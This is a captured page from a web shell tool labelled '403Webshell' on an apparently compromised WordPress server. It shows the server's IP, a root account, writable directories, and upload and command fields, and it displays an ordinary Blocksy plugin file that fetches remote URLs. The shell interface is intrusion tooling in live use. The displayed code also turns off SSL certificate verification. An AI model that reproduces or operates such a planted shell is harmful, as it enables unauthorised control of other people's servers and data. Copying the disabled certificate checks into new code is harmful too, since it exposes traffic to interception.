403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.2/wp-content/plugins/blocksy-companion-pro/framework/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.2/wp-content/plugins/blocksy-companion-pro/framework/helpers/request.php
<?php

namespace Blocksy;

class WpRemoteRequest {
	public function request($url, $args = []) {
		$request = wp_remote_get(
			$url,
			[
				'user-agent' => $args['user_agent'],
			]
		);

		if (is_wp_error($request)) {
			return $request;
		}

		if (wp_remote_retrieve_response_code($request) !== 200) {
			return false;
		}

		$body = wp_remote_retrieve_body($request);

		if (! $body) {
			return false;
		}

		return $body;
	}
}

class FileGetContentsRequest {
	public function request($url, $args = []) {
		if (
			! ini_get('allow_url_fopen')
			||
			ini_get('allow_url_fopen') === 'Off'
		) {
			return false;
		}

		$context_options = [
			"ssl" => [
				"verify_peer" => false,
				"verify_peer_name" => false,
			]
		];

		if (! empty($args['user_agent'])) {
			$context_options['http'] = [
				'user_agent' => $args['user_agent']
			];
		}

		$result = file_get_contents(
			$url,
			false,
			stream_context_create($context_options)
		);

		$maybe_error = error_get_last();

		if (
			! $result
			&&
			! empty($maybe_error)
			&&
			isset($maybe_error['message'])
		) {
			return new \WP_Error(
				'blocksy_request_remote_url_error:file_get_contents',
				$maybe_error['message']
			);
		}

		return $result;
	}
}

class CurlRequest {
	public function request($url, $args = []) {
		if (! function_exists('curl_init')) {
			return false;
		}

		// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_init
		$curl = curl_init($url);

		if (! empty($args['user_agent'])) {
			// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_setopt
			curl_setopt($curl, CURLOPT_USERAGENT, $args['user_agent']);
		}

		// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_setopt
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_setopt
		curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
		// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_setopt
		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);

		// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_exec
		$result = curl_exec($curl);
		// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_close
		curl_close($curl);

		if (! $result) {
			return new \WP_Error(
				'blocksy_request_remote_url_error:curl',
				// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_error
				curl_error($curl)
			);
		}

		return $result;
	}
}

class RequestRemoteUrl {
	private $strategies = [];

	public function __construct() {
		$this->strategies[] = new WpRemoteRequest();
		$this->strategies[] = new FileGetContentsRequest();
		$this->strategies[] = new CurlRequest();
	}

	public function request($url, $args = []) {
		$args = wp_parse_args($args, [
			'user_agent' => '',

			// wp | as-is
			'user_agent_type' => 'as-is'
		]);

		if ($args['user_agent_type'] === 'wp') {
			$args['user_agent'] = 'WordPress/' . get_bloginfo('version') . '; ' . get_bloginfo('url');
		}

		// phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged
		set_time_limit(300);

		$result = null;

		foreach ($this->strategies as $strategy) {
			$result = $strategy->request($url, $args);

			if ($result && ! is_wp_error($result)) {
				return $result;
			}
		}

		return $result;
	}
}



Youez - 2016 - github.com/yon3zu
LinuXploit